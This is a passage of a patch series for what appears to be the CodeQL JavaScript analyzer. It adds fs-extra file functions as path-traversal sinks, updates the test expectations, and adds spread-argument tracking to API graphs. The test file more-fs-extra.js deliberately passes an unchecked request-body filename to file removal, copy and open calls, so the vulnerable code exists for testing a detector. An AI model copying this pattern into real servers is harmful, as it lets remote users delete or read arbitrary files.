more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename | +| more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename | +| more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename | +| more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename | +| more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index e9bf5509021..f90de8b20f3 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -5,18 +5,18 @@ const app = express(); app.use(express.json()); app.post('/rmsync', (req, res) => { - const { filename } = req.body; // $ MISSING: Source + const { filename } = req.body; // $ Source fs.rmSync(filename); // MISSING: $ Alert fs.rm(filename); // MISSING: $ Alert fs.rmdir(filename); // MISSING: $ Alert fs.rmdirSync(filename); // MISSING: $ Alert - fs.cp(filename, "destination"); // MISSING: $ Alert - fs.cp("source", filename); // MISSING: $ Alert - fs.copyFileSync(filename, "destination"); // MISSING: $ Alert - fs.copyFileSync("source", filename); // MISSING: $ Alert - fs.cpSync(filename, "destination"); // MISSING: $ Alert - fs.cpSync("source", filename); // MISSING: $ Alert + fs.cp(filename, "destination"); // $ Alert + fs.cp("source", filename); // $ Alert + fs.copyFileSync(filename, "destination"); // $ Alert + fs.copyFileSync("source", filename); // $ Alert + fs.cpSync(filename, "destination"); // $ Alert + fs.cpSync("source", filename); // $ Alert fs.emptydirSync(filename); // MISSING: $ Alert fs.emptydir(filename); // MISSING: $ Alert fs.opendir(filename); // $ MISSING: Alert From e386448f60374bea8bac489863d5352998605809 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:35:21 +0100 Subject: [PATCH 098/282] Added support for missing `rm` functions from `fs-extra` --- .../lib/semmle/javascript/frameworks/NodeJSLib.qll | 2 +- .../CWE-022/TaintedPath/TaintedPath.expected | 12 ++++++++++++ .../Security/CWE-022/TaintedPath/more-fs-extra.js | 8 ++++---- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 1ee002fa850..9d944f3aa3a 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -450,7 +450,7 @@ module NodeJSLib { or methodName = ["readJson", "readJSON", "readJsonSync", "readJSONSync"] and i = 0 or - methodName = ["remove", "removeSync"] and i = 0 + methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0 or methodName = ["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 81bab378adf..6aec540a8c4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -52,6 +52,10 @@ | handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value | | handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value | | hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value | +| more-fs-extra.js:10:15:10:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:10:15:10:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:11:11:11:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:11:11:11:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:12:14:12:21 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:12:14:12:21 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:13:18:13:25 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:13:18:13:25 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | @@ -354,6 +358,10 @@ edges | hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | | | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | | | more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:10:15:10:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:11:11:11:18 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:12:14:12:21 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:13:18:13:25 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | | @@ -846,6 +854,10 @@ nodes | more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename | | more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename | | more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body | +| more-fs-extra.js:10:15:10:22 | filename | semmle.label | filename | +| more-fs-extra.js:11:11:11:18 | filename | semmle.label | filename | +| more-fs-extra.js:12:14:12:21 | filename | semmle.label | filename | +| more-fs-extra.js:13:18:13:25 | filename | semmle.label | filename | | more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename | | more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename | | more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index f90de8b20f3..c1da0d1d959 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -7,10 +7,10 @@ app.use(express.json()); app.post('/rmsync', (req, res) => { const { filename } = req.body; // $ Source - fs.rmSync(filename); // MISSING: $ Alert - fs.rm(filename); // MISSING: $ Alert - fs.rmdir(filename); // MISSING: $ Alert - fs.rmdirSync(filename); // MISSING: $ Alert + fs.rmSync(filename); // $ Alert + fs.rm(filename); // $ Alert + fs.rmdir(filename); // $ Alert + fs.rmdirSync(filename); // $ Alert fs.cp(filename, "destination"); // $ Alert fs.cp("source", filename); // $ Alert fs.copyFileSync(filename, "destination"); // $ Alert From 55c74b2bacdf02135e3d22544ae84dfb4ae457b3 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:41:02 +0100 Subject: [PATCH 099/282] Added support for `emptydir` functions from `fs-extra`. --- .../ql/lib/semmle/javascript/frameworks/NodeJSLib.qll | 2 +- .../Security/CWE-022/TaintedPath/TaintedPath.expected | 6 ++++++ .../Security/CWE-022/TaintedPath/more-fs-extra.js | 4 ++-- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 9d944f3aa3a..d4150ca741b 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -462,7 +462,7 @@ module NodeJSLib { or methodName = ["ensureSymlink", "ensureSymlinkSync"] and i = [0, 1] or - methodName = ["emptyDir", "emptyDirSync"] and i = 0 + methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0 or methodName = ["pathExists", "pathExistsSync"] and i = 0 } diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 6aec540a8c4..9e937615180 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -62,6 +62,8 @@ | more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -368,6 +370,8 @@ edges | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | | | more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | @@ -864,6 +868,8 @@ nodes | more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename | | more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename | | more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | +| more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename | +| more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index c1da0d1d959..a4d83625840 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -17,8 +17,8 @@ app.post('/rmsync', (req, res) => { fs.copyFileSync("source", filename); // $ Alert fs.cpSync(filename, "destination"); // $ Alert fs.cpSync("source", filename); // $ Alert - fs.emptydirSync(filename); // MISSING: $ Alert - fs.emptydir(filename); // MISSING: $ Alert + fs.emptydirSync(filename); // $ Alert + fs.emptydir(filename); // $ Alert fs.opendir(filename); // $ MISSING: Alert fs.opendirSync(filename); // $ MISSING: Alert fs.openAsBlob(filename); // $ MISSING: Alert From e1bf054056d08fd4d527eba3e9626aad4370bebc Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:54:39 +0100 Subject: [PATCH 100/282] Added support for `lutimes`, `opendir`, and `statfs` functions from `fs-extra`. --- .../javascript/frameworks/NodeJSLib.qll | 11 ++++++- .../CWE-022/TaintedPath/TaintedPath.expected | 33 +++++++++++++++++++ .../CWE-022/TaintedPath/more-fs-extra.js | 22 ++++++------- 3 files changed, 54 insertions(+), 12 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index d4150ca741b..73381006a47 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -453,7 +453,10 @@ module NodeJSLib { methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0 or methodName = - ["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and + [ + "outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync", + "outputJSONSync", "outputJsonSync" + ] and i = 0 or methodName = ["ensureFile", "ensureFileSync"] and i = 0 @@ -465,6 +468,12 @@ module NodeJSLib { methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0 or methodName = ["pathExists", "pathExistsSync"] and i = 0 + or + methodName = ["lutimes", "lutimesSync"] and i = 0 + or + methodName = + ["opendir", "opendirSync", "openAsBlob", "statfs", "statfsSync", "open", "openSync"] and + i = 0 } /** diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 9e937615180..4147726065e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -64,6 +64,17 @@ | more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:22:16:22:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:22:16:22:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:23:20:23:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:23:20:23:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:24:19:24:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:24:19:24:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:25:15:25:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:25:15:25:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:26:19:26:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:26:19:26:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:27:13:27:20 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:27:13:27:20 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:28:17:28:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:28:17:28:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:29:23:29:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:29:23:29:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:30:16:30:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:30:16:30:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:31:20:31:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:31:20:31:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:32:23:32:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:32:23:32:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -372,6 +383,17 @@ edges | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:22:16:22:23 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:23:20:23:27 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:24:19:24:26 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:25:15:25:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:26:19:26:26 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:27:13:27:20 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:28:17:28:24 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:29:23:29:30 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:30:16:30:23 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:31:20:31:27 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:32:23:32:30 | filename | provenance | | | more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | @@ -870,6 +892,17 @@ nodes | more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | | more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename | | more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename | +| more-fs-extra.js:22:16:22:23 | filename | semmle.label | filename | +| more-fs-extra.js:23:20:23:27 | filename | semmle.label | filename | +| more-fs-extra.js:24:19:24:26 | filename | semmle.label | filename | +| more-fs-extra.js:25:15:25:22 | filename | semmle.label | filename | +| more-fs-extra.js:26:19:26:26 | filename | semmle.label | filename | +| more-fs-extra.js:27:13:27:20 | filename | semmle.label | filename | +| more-fs-extra.js:28:17:28:24 | filename | semmle.label | filename | +| more-fs-extra.js:29:23:29:30 | filename | semmle.label | filename | +| more-fs-extra.js:30:16:30:23 | filename | semmle.label | filename | +| more-fs-extra.js:31:20:31:27 | filename | semmle.label | filename | +| more-fs-extra.js:32:23:32:30 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index a4d83625840..c0715cc9163 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -19,15 +19,15 @@ app.post('/rmsync', (req, res) => { fs.cpSync("source", filename); // $ Alert fs.emptydirSync(filename); // $ Alert fs.emptydir(filename); // $ Alert - fs.opendir(filename); // $ MISSING: Alert - fs.opendirSync(filename); // $ MISSING: Alert - fs.openAsBlob(filename); // $ MISSING: Alert - fs.statfs(filename); // $ MISSING: Alert - fs.statfsSync(filename); // $ MISSING: Alert - fs.open(filename, 'r'); // $ MISSING: Alert - fs.openSync(filename, 'r'); // $ MISSING: Alert - fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ MISSING: Alert - fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert - fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert - fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ MISSING: Alert + fs.opendir(filename); // $ Alert + fs.opendirSync(filename); // $ Alert + fs.openAsBlob(filename); // $ Alert + fs.statfs(filename); // $ Alert + fs.statfsSync(filename); // $ Alert + fs.open(filename, 'r'); // $ Alert + fs.openSync(filename, 'r'); // $ Alert + fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ Alert + fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert + fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert + fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ Alert }); From ff99d5c6880c347171183712a909bac3ec9bee85 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 24 Mar 2025 12:36:52 +0100 Subject: [PATCH 101/282] JS: Add test for API graph through spread args --- .../ql/test/ApiGraphs/spread/VerifyAssertions.expected | 2 ++ javascript/ql/test/ApiGraphs/spread/tst.js | 9 +++++++++ 2 files changed, 11 insertions(+) diff --git a/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected b/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected index e69de29bb2d..366c66f0763 100644 --- a/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected +++ b/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected @@ -0,0 +1,2 @@ +| tst.js:15:14:15:101 | /* def= ... r(0) */ | use moduleImport("something").getMember("exports").getMember("m2") has no outgoing edge labelled getParameter(0); it does have outgoing edges labelled getReceiver(), getReturn(). | +| tst.js:16:14:16:101 | /* def= ... r(1) */ | use moduleImport("something").getMember("exports").getMember("m2") has no outgoing edge labelled getParameter(1); it does have outgoing edges labelled getReceiver(), getReturn(). | diff --git a/javascript/ql/test/ApiGraphs/spread/tst.js b/javascript/ql/test/ApiGraphs/spread/tst.js index cece4692043..ebacd48d1f3 100644 --- a/javascript/ql/test/ApiGraphs/spread/tst.js +++ b/javascript/ql/test/ApiGraphs/spread/tst.js @@ -9,3 +9,12 @@ function f() { lib.m1({ ...f() }) + +function getArgs() { + return [ + 'x', /* def=moduleImport("something").getMember("exports").getMember("m2").getParameter(0) */ + 'y', /* def=moduleImport("something").getMember("exports").getMember("m2").getParameter(1) */ + ] +} + +lib.m2(...getArgs()); From 1ad471cb32559d8c6ff7505ff70aa199405ca5c9 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 24 Mar 2025 13:33:58 +0100 Subject: [PATCH 102/282] JS: Track through spread/rest params in API graphs --- .../ql/lib/semmle/javascript/ApiGraphs.qll | 50 +++++++++++++++++++ .../semmle/javascript/dataflow/Sources.qll | 6 +++ .../spread/VerifyAssertions.expected | 2 - javascript/ql/test/ApiGraphs/spread/tst.js | 4 +- .../Security/CWE-918/RequestForgery.expected | 12 +++++ .../Security/CWE-918/apollo.serverSide.ts | 4 +- 6 files changed, 72 insertions(+), 6 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 4ef187de4d8..c53d7e4279c 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -318,6 +318,11 @@ module API { Node getParameter(int i) { Stages::ApiStage::ref() and result = this.getASuccessor(Label::parameter(i)) + or + exists(int spreadIndex, string arrayProp | + result = this.getASuccessor(Label::spreadArgument(spreadIndex)).getMember(arrayProp) and + i = spreadIndex + arrayProp.toInt() + ) } /** @@ -860,6 +865,15 @@ module API { .getStaticMember(name, DataFlow::MemberKind::getter()) .getAReturn() ) + or + exists(Function fun, DataFlow::InvokeNode invoke, int argIndex, Parameter rest | + fun.getRestParameter() = rest and + rest.flow() = pred and + invoke.getACallee() = fun and + invoke.getArgument(argIndex) = rhs and + argIndex >= rest.getIndex() and + lbl = Label::member((argIndex - rest.getIndex()).toString()) + ) ) or exists(DataFlow::ClassNode cls, string name | @@ -888,6 +902,11 @@ module API { i = -1 and lbl = Label::receiver() ) or + exists(int i | + spreadArgumentPassing(base, i, rhs) and + lbl = Label::spreadArgument(i) + ) + or exists(DataFlow::SourceNode src, DataFlow::PropWrite pw | use(base, src) and pw = trackUseNode(src).getAPropertyWrite() and rhs = pw.getRhs() | @@ -931,6 +950,21 @@ module API { ) } + pragma[nomagic] + private int firstSpreadIndex(InvokeExpr expr) { + result = min(int i | expr.getArgument(i) instanceof SpreadElement) + } + + private predicate spreadArgumentPassing(TApiNode base, int i, DataFlow::Node spreadArray) { + exists(DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke | + use(base, use) and + pred = trackUseNode(use, _, bound, "") and + invoke = pred.getAnInvocation().asExpr() and + i = firstSpreadIndex(invoke) and + spreadArray = invoke.getArgument(i - bound).(SpreadElement).getOperand().flow() + ) + } + /** * Holds if `rhs` is the right-hand side of a definition of node `nd`. */ @@ -1579,6 +1613,9 @@ module API { /** Gets the edge label for the receiver. */ LabelReceiver receiver() { any() } + /** Gets the edge label for a spread argument passed at index `i`. */ + LabelSpreadArgument spreadArgument(int i) { result.getIndex() = i } + /** Gets the `return` edge label. */ LabelReturn return() { any() } @@ -1628,6 +1665,7 @@ module API { } or MkLabelReceiver() or MkLabelReturn() or + MkLabelSpreadArgument(int index) { index = [0 .. 10] } or MkLabelDecoratedClass() or MkLabelDecoratedMember() or MkLabelDecoratedParameter() or @@ -1743,6 +1781,18 @@ module API { override string toString() { result = "getReceiver()" } } + /** A label representing an array passed as a spread argument at a given index. */ + class LabelSpreadArgument extends ApiLabel, MkLabelSpreadArgument { + private int index; + + LabelSpreadArgument() { this = MkLabelSpreadArgument(index) } + + /** The argument index at which the spread argument appears. */ + int getIndex() { result = index } + + override string toString() { result = "getSpreadArgument(" + index + ")" } + } + /** A label for a function that is a wrapper around another function. */ class LabelForwardingFunction extends 